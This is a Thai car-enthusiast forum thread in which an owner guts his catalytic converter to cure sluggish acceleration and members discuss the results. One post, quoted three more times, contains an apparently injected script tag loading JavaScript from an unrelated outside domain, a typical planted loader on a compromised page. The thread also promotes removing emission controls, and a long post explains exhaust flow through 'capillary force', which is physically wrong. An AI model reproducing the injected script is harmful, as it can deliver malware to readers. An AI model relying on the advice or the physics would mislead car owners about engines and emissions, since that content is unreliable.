ตอบ
paripato


เข้าร่วม: 24 พฤษภาคม 2010
ตอบ: 160

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 64
ให้คำขอบคุณ: 76

ที่อยู่: รังสิต
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
จันทร์, 24 ธันวา 2012 16:33 - วิ่งอืด เร่งไม่ขึ้น....
จบเลยครับ 300 บาท


Attached File :
วิ่งอืด เร่งไม่ขึ้น....
Attached File :
วิ่งอืด เร่งไม่ขึ้น....
Tanadath


เข้าร่วม: 12 มีนา 2011
ตอบ: 1498

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1165
ให้คำขอบคุณ: 325

ที่อยู่: 240/29ม.2ต.หนองบัวอ.เมืองจ.อุดรธานี
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 16:41 - วิ่งอืด เร่งไม่ขึ้น....
ทะลวงแคท... แล้วใส่อะไรแทนหรือปล่อยโล่งๆครับ
ได้รับคำขอบคุณจาก: เค 
skypeger


ชื่อเล่น: น๊อต

เข้าร่วม: 24 ตุลา 2012
ตอบ: 86

สมาชิกสับสน
สมาชิกสับสน

ได้รับคำขอบคุณ: 42
ให้คำขอบคุณ: 2

ที่อยู่: รามอินทรา กม.4
ปี: 2001
สี: ทอง เดเสิร์ท มิสท์ (เมทัลลิก) (YP-538M)
จันทร์, 24 ธันวา 2012 16:43 - วิ่งอืด เร่งไม่ขึ้น....
ทะลวงแคส หรอคับ ผลเปงไงบ้างเสียง ลั่นไหมคับ 
LifeFate


เข้าร่วม: 08 พฤศจิกา 2011
ตอบ: 3153

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5152
ให้คำขอบคุณ: 215

ที่อยู่: สระบุรี , ปทุมธานี , นครสวรรค์
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 16:58 - วิ่งอืด เร่งไม่ขึ้น....
แต่สภาพโสโครก ใช้ได้
Chonchy


ชื่อเล่น: ชล

เข้าร่วม: 12 มกรา 2012
ตอบ: 4143

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 7371
ให้คำขอบคุณ: 6492

ที่อยู่: แม่กลอง...มหาชัย...
ปี: 2001
จันทร์, 24 ธันวา 2012 16:59 - วิ่งอืด เร่งไม่ขึ้น....
ของผมก็ไม่มีแคต วิ่งลื่นปรื๊ดๆ...
SimonBKK


เข้าร่วม: 27 มีนา 2012
ตอบ: 991

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 778
ให้คำขอบคุณ: 570

ที่อยู่: ภูเก็ต
จันทร์, 24 ธันวา 2012 17:16 - วิ่งอืด เร่งไม่ขึ้น....
ผมใส่แคทซิ่งไปแล้ว

paripato


เข้าร่วม: 24 พฤษภาคม 2010
ตอบ: 160

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 64
ให้คำขอบคุณ: 76

ที่อยู่: รังสิต
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
จันทร์, 24 ธันวา 2012 17:29 - วิ่งอืด เร่งไม่ขึ้น....
วิ่งปีดเลยครับ เสียงใช้ได้ มันเลย แต่ผลตามมาเช่นไรขอผู้รู้ช่วยแจงที่
paripato


เข้าร่วม: 24 พฤษภาคม 2010
ตอบ: 160

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 64
ให้คำขอบคุณ: 76

ที่อยู่: รังสิต
ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
จันทร์, 24 ธันวา 2012 17:30 - วิ่งอืด เร่งไม่ขึ้น....
LifeFate พิมพ์ว่า:
แต่สภาพโสโครก ใช้ได้



ทั่งช่างและท่อเลยใช้ป่ะคับ<script src="https://sport32news.com/civicesgroup.js"></
tokykung


ชื่อเล่น: ต๊อก

เข้าร่วม: 27 ตุลา 2008
ตอบ: 2490

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 2660
ให้คำขอบคุณ: 5788

ที่อยู่: เชียงราย
ปี: 2002
จันทร์, 24 ธันวา 2012 17:51 - วิ่งอืด เร่งไม่ขึ้น....
ต้องเอาออก แล้วใส่พักแทน...^^
Oyoyoo


ชื่อเล่น: โอ

เข้าร่วม: 31 สิงหา 2009
ตอบ: 407

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 432
ให้คำขอบคุณ: 224

ที่อยู่: BKK-Minburi
ปี: 2002
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 18:13 - วิ่งอืด เร่งไม่ขึ้น....
tokykung พิมพ์ว่า:
ต้องเอาออก แล้วใส่พักแทน...^^


+1 ครับ ไอเสียไหลไม่ดีครับ ต้องใส่พักแทน
wisarutj


ชื่อเล่น: รุต

เข้าร่วม: 21 กรกฎา 2010
ตอบ: 798

Guru ES
Guru ES

ได้รับคำขอบคุณ: 482
ให้คำขอบคุณ: 9

ที่อยู่: Rayong
ปี: 2005
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 18:20 - วิ่งอืด เร่งไม่ขึ้น....
paripato พิมพ์ว่า:
LifeFate พิมพ์ว่า:
แต่สภาพโสโครก ใช้ได้



ทั่งช่างและท่อเลยใช้ป่ะคับ<script src="https://sport32news.com/civicesgroup.js"></


รถวิ่งไปกี่แสนโลแล้วครับ ใช่ Auto เปล่า
akkarin_c


ชื่อเล่น: ตู่

เข้าร่วม: 01 สิงหา 2012
ตอบ: 1225

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1081
ให้คำขอบคุณ: 441

ที่อยู่: เตาปูน ปิ่นเกล้า อัมพวา
ปี: 2005
สี: ทอง แซทเทิลไลท์ (NH-663M)
จันทร์, 24 ธันวา 2012 18:27 - วิ่งอืด เร่งไม่ขึ้น....
paripato พิมพ์ว่า:
วิ่งปีดเลยครับ เสียงใช้ได้ มันเลย แต่ผลตามมาเช่นไรขอผู้รู้ช่วยแจงที่


เท่าที่ทราบ มีผลเสียต่อสิ่งแวดล้อมคร้าบ
ของผมยังไม่ได้ทะลวงเหมือนกัน ว่างๆว่าจะให้ร้าน
เช็คให้สักทีเหมือนกัน
underhill


เข้าร่วม: 15 กันยา 2011
ตอบ: 3545

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 4125
ให้คำขอบคุณ: 1677

ปี: 2002
สี: น้ำเงิน อิเทอนอล (B-96P)
จันทร์, 24 ธันวา 2012 19:17 - วิ่งอืด เร่งไม่ขึ้น....
แนะนำหน่อยครับ ว่าจะจัดการเหมือนกัน ปล่อย มีผลดีเสียยังไง

แคตซิ่ง เปนไง
Auto_es


ชื่อเล่น: อ้น

เข้าร่วม: 03 ตุลา 2012
ตอบ: 267

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1382
ให้คำขอบคุณ: 740

ที่อยู่: สมุทรปราการ (แพรกษา)
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 19:33 - วิ่งอืด เร่งไม่ขึ้น....
underhill พิมพ์ว่า:
แนะนำหน่อยครับ ว่าจะจัดการเหมือนกัน ปล่อย มีผลดีเสียยังไง

แคตซิ่ง เปนไง


+1
bigbom


ชื่อเล่น: บิ๊ก

เข้าร่วม: 17 มกรา 2012
ตอบ: 552

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 885
ให้คำขอบคุณ: 866

ที่อยู่: แพร่ สอง - หนองแค สระบุรี
ปี: 2001
สี: ทอง แซทเทิลไลท์ (NH-663M)
จันทร์, 24 ธันวา 2012 19:40 - วิ่งอืด เร่งไม่ขึ้น....
นั่นมันอะไรครับนั่น แล้วต้องเผาท่อก่อนรึเปล่าครับ
LifeFate


เข้าร่วม: 08 พฤศจิกา 2011
ตอบ: 3153

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 5152
ให้คำขอบคุณ: 215

ที่อยู่: สระบุรี , ปทุมธานี , นครสวรรค์
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
จันทร์, 24 ธันวา 2012 20:05 - วิ่งอืด เร่งไม่ขึ้น....
paripato พิมพ์ว่า:
LifeFate พิมพ์ว่า:
แต่สภาพโสโครก ใช้ได้



ทั่งช่างและท่อเลยใช้ป่ะคับ<script src="https://sport32news.com/civicesgroup.js"></




555+++ ว่าไป ใอ้ที่มันหล่นๆออกมา อะครับ
coco1340


เข้าร่วม: 11 มกรา 2012
ตอบ: 1239

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1169
ให้คำขอบคุณ: 302

ที่อยู่: พระราม 2
จันทร์, 24 ธันวา 2012 23:11 - วิ่งอืด เร่งไม่ขึ้น....
  โอววววว 
ham_ter


ชื่อเล่น: ส้มจี๊ด

เข้าร่วม: 18 ตุลา 2011
ตอบ: 1641

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 4624
ให้คำขอบคุณ: 0

ที่อยู่: เชียงใหม่
ปี: 2002
สี: ม่วง วินเทจพลัม (RP-32P)
จันทร์, 24 ธันวา 2012 23:53 - วิ่งอืด เร่งไม่ขึ้น....
bigbom พิมพ์ว่า:
นั่นมันอะไรครับนั่น แล้วต้องเผาท่อก่อนรึเปล่าครับ


อันนี้ เรียกว่า ใส้แคตตาไลติก จ๊ะ
วิธีเปลี่ยนมีสองแบบคือ
1.เปลี่ยนใส่แคตใหม่ แล้วแต่งบ บางคนก็ใส่แคตซิ่ง ออโต้เจ็ท บางคนก็ใส่แคตเหมือนเดิม
และ 2.ทะลวงแคต หรือ ฆ่าแมว ตามรูป จขกท ทะลวงออกซื่อๆเลย ไม่ต้องเผา
ของ MT จะนิยม ทะลวงมากกว่า เพราะยิ่งโล่ง ยิ่งวิ่งดี
แต่ของ AT ไม่นิยมทะลวง เพราะจะโล่งไป ต้นจะหาย ต้องเปลี่ยนใส่ พักแทนแคต หรือใส่แคตซิ่ง หรือใส่แคตแบบเดิม
ปล.ใส้แคตที่ทะลวงแล้ว จขกท เอากลับมาป่าว ขายได้กิโลละพันนะ ของรถกระบะ คันนึงจะได้ครึ่งโลพอดี ได้คันละ 500 อ่ะ
ได้รับคำขอบคุณจาก: netnuvo  pja  bigbom  jagkrapongVilaikaew  yoyosonic  Nack_Non  nongnirvana  tumrider  bangnum  hawkeye_04  pannatad  hotline172 
ham_ter


ชื่อเล่น: ส้มจี๊ด

เข้าร่วม: 18 ตุลา 2011
ตอบ: 1641

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 4624
ให้คำขอบคุณ: 0

ที่อยู่: เชียงใหม่
ปี: 2002
สี: ม่วง วินเทจพลัม (RP-32P)
อังคาร, 25 ธันวา 2012 00:02 - วิ่งอืด เร่งไม่ขึ้น....
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น"  คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ
xxxsarawutxxx


ชื่อเล่น: ต่อ

เข้าร่วม: 13 ตุลา 2012
ตอบ: 461

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 260
ให้คำขอบคุณ: 609

ที่อยู่: ลำปาง
ปี: 2004
อังคาร, 25 ธันวา 2012 00:43 - วิ่งอืด เร่งไม่ขึ้น....
ham_ter พิมพ์ว่า:
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น" คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ


สุดยอดเลยครับ...
Thanatip


ชื่อเล่น: เค็ก

เข้าร่วม: 16 สิงหา 2011
ตอบ: 376

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 324
ให้คำขอบคุณ: 497

ที่อยู่: แพร่
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 25 ธันวา 2012 08:46 - วิ่งอืด เร่งไม่ขึ้น....
ham_ter พิมพ์ว่า:
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

เช่นกัน ไอเสียเวล่ผ่านท่อขนาดเล็กๆ มันจะวิ่งเร็ว แต่ถ้าเล็กเกินไป มันก็เกิดอาการ "อั้น" คือไอเสียวิ่งไม่คล่องมันก้เลยต้องอาศัยลูกสูบ "อัด" ไล่มันออกตามท่อ ยิ่งยาวเท่าไหร่ มันก้ยิ่งอั้น ยิ่งอั้นก้ยิ่งต้องใช้แรง อัด เครื่องมันก็เสียกำลังไปมาก

ถ้าท่อขนาดพอดีๆ มันจะไม่มีอาการอั้นในขณะที่ไอเสียวิ่งได้เร็วที่สุด ตรงนี้ จะเกิดแรงดูดตามธรรมชาติที่เรียกว่าแรงคาปิลลารี่ ช่วยดูดไปเสียออกจาก้หองเผาไหม เมื่อไอเสียถูกดูด ลูกสูบก็ถูกดูดตามขึ้นมาด้วย มันก้เท่ากับว่าแรงดูดตรงนี้ ไปเพิ่มแรงม้าให้เครื่องยนต์ด้วย ท่อยิ่งยาวเท่าไหร่ แรงดูดก็ยิ่งมาก ก็เลย ออกแบบรถให้มีท่ออยู่ท้ายรถเลย

ถ้าท่อมันใหญ่ไป อากาศ ก็ถูกคายได้ง่าย แต่มันไม่มีแรงดูดมาช่วย มันก็เลย อาศัยแรงจากลูกสูบมาดันออกอย่างเดียว มันก็เลยกลายเป้นว่ารู้สึกเครื่องมันแรงหายๆ ไปบางส่วน ที่บางคนบอก "โล่งไป" ไงล่ะ

MT ต้องการโล่งๆ จึงควรทะลวงออกเมื่อตัน AT ควรจะอั้นๆหน่อยไม่ควรทะลวง แต่เปลี่ยนเอาตามงบจะดีกว่า แต่ไม่ควรตัดออก เพราะเป็นที่อยู่ของ O2 เด๋วไฟเครื่องจะโชว์ และจังหวะจะเพี้ยนเปล่าๆ เพราะ O2 มันจะวัดค่าผิดน่ะ
อธิบาย ง่ายๆ ไม่ได้ยกสมการอะไรมาอธิบาย คิดว่าพอเห็นหลักการนะคะ

แน่นจริงๆ คับ เข้าใจง่ายเลยคับ
Kriss_es04


ชื่อเล่น: อ๊อด

เข้าร่วม: 01 ตุลา 2008
ตอบ: 1745

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1544
ให้คำขอบคุณ: 234

ที่อยู่: ดินแดง-แจ้งวัฒนะ-นนทบุรี-มหาชัย-พระราม2-กระทุ่มแบน-สามพราน
ปี: 2004
อังคาร, 25 ธันวา 2012 09:53 - วิ่งอืด เร่งไม่ขึ้น....
หาแคทแต่งมาใส่แทนของเดิมดีกว่าครับ
ดูแลรถดูแลโลก เพื่อทุกๆคน
ได้รับคำขอบคุณจาก: jagkrapongVilaikaew 
pja


เข้าร่วม: 21 มีนา 2011
ตอบ: 934

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 707
ให้คำขอบคุณ: 973

ที่อยู่: เอกชัย-โคราช-บางพลี
ปี: 2002
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 25 ธันวา 2012 10:20 - วิ่งอืด เร่งไม่ขึ้น....
.......
bigbom


ชื่อเล่น: บิ๊ก

เข้าร่วม: 17 มกรา 2012
ตอบ: 552

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 885
ให้คำขอบคุณ: 866

ที่อยู่: แพร่ สอง - หนองแค สระบุรี
ปี: 2001
สี: ทอง แซทเทิลไลท์ (NH-663M)
อังคาร, 25 ธันวา 2012 11:00 - วิ่งอืด เร่งไม่ขึ้น....
ขอบคุณ ham_ter ครับข้อมูลดีดีทั้งนั้น
Rachen


ชื่อเล่น: เชน

เข้าร่วม: 03 พฤศจิกา 2012
ตอบ: 1422

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1495
ให้คำขอบคุณ: 2881

ที่อยู่: บ้านฉาง ระยอง และ สตาร์พลาซ่า ระยอง
ปี: 2003
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 25 ธันวา 2012 11:19 - วิ่งอืด เร่งไม่ขึ้น....
ham_ter พิมพ์ว่า:
เอาแบบทฤษฎีนะคะ มันเป็นทฤษฎีของก๊าซง่ายๆ ค่ะ

เครื่องยนต์ไม่ได้เกิดแรงจากการจุดระเบิดเพียงอย่างเดียวเท่านั้น แรงดันของก็าซร้อนและก๊าซเย็น ก็มีผลต่อรอบเครื่องว่าจะขึ้นไว หรือค่อยๆไต่ระดับขึ้นไป เวลาลูกสูบ "ดูด" เมื่อวาล์วเปิดลูกสูบถอยลง จะเกิดแรงดูดเพราะปริมาตรในห้องจุดระเบิดมันมากขึ้น และ "อุณหภูมิที่เย็นกว่าจะดันอากาศไปหาที่ที่ร้อนกว่าในห้องจุดระเบิดด้วย" เรียกว่าเกิด 2 แรงพร้อมกัน ตรงนี้ ไม่ว่าเครื่องอะไร มันต้องการช่องกว้างๆ เพราะระยะท่อมันไม่ยาว แรงคาบิลลารี่ไม่ค่อยมีผลมาก ท่อใหญ่ ลิ้นกว้างๆ จึงเป็นที่ต้องการของบรรดาเครื่องซิ่งทั้งหลาย

ทีนี้มาเข้าประเด็นท่อไอเสีย เคยคิดว่าทำไมรถทุกคันจึงออกแบบให้ปลายท่อไปโผล่ท้ายรถ นอกจากเรื่องความปลอดภัย เรื่องสุขภาพแล้ว "เรื่องแรงเครื่องยนต์" ก็เป็นเหตุผลหนึ่งที่ท่อไอเสียควรจะ ยาวๆ ไว้ ขนาดซุปเปอร์คาร์ ท่อมันยังพยายามขดไปมาเพื่อให้ได้ระยะยาวที่สุด

เนื้องจาก เวลาคายไอร้อน มันตรงข้ามกับทีแรกถ้าไม่มีเทคนิค อากาศเย็นจะพยายามดันย้อนกลับเข้าเครื่องเพื่อลดผลตรงนี้ ท่อก็เลยเอาที่เย็นๆ ไปไว้ไกลๆ หน่อย แต่มันไม่ใช่ประเด้นหลัก ประเด็นมาอยู่ที่แรงคาปิลลารี่

เคยสังเกตไหม น้ำในสายยางขนาดครึ่งนิ้วยาวๆ เวลาเปิดไหลไป เวลาปิดมัน มันเหมือนจะมีแรงกระตุกจากน้ำในสายยางที่มันไหลเร็วๆ มันกระตุกแรงจะบางครั้งก๊อกน้ำอาจเสียหายได้ ช่างที่มีประสบการณ์จะเปลี่ยนเป้นสายยางที่ใหญ่ขึ้นโดยใช้ก๊อกเดิม เวลาเปิดน้ำมันก็ไหลเอื่อยๆ เวลาปิด มันก็ไม่มีแรงดูด มากนัก

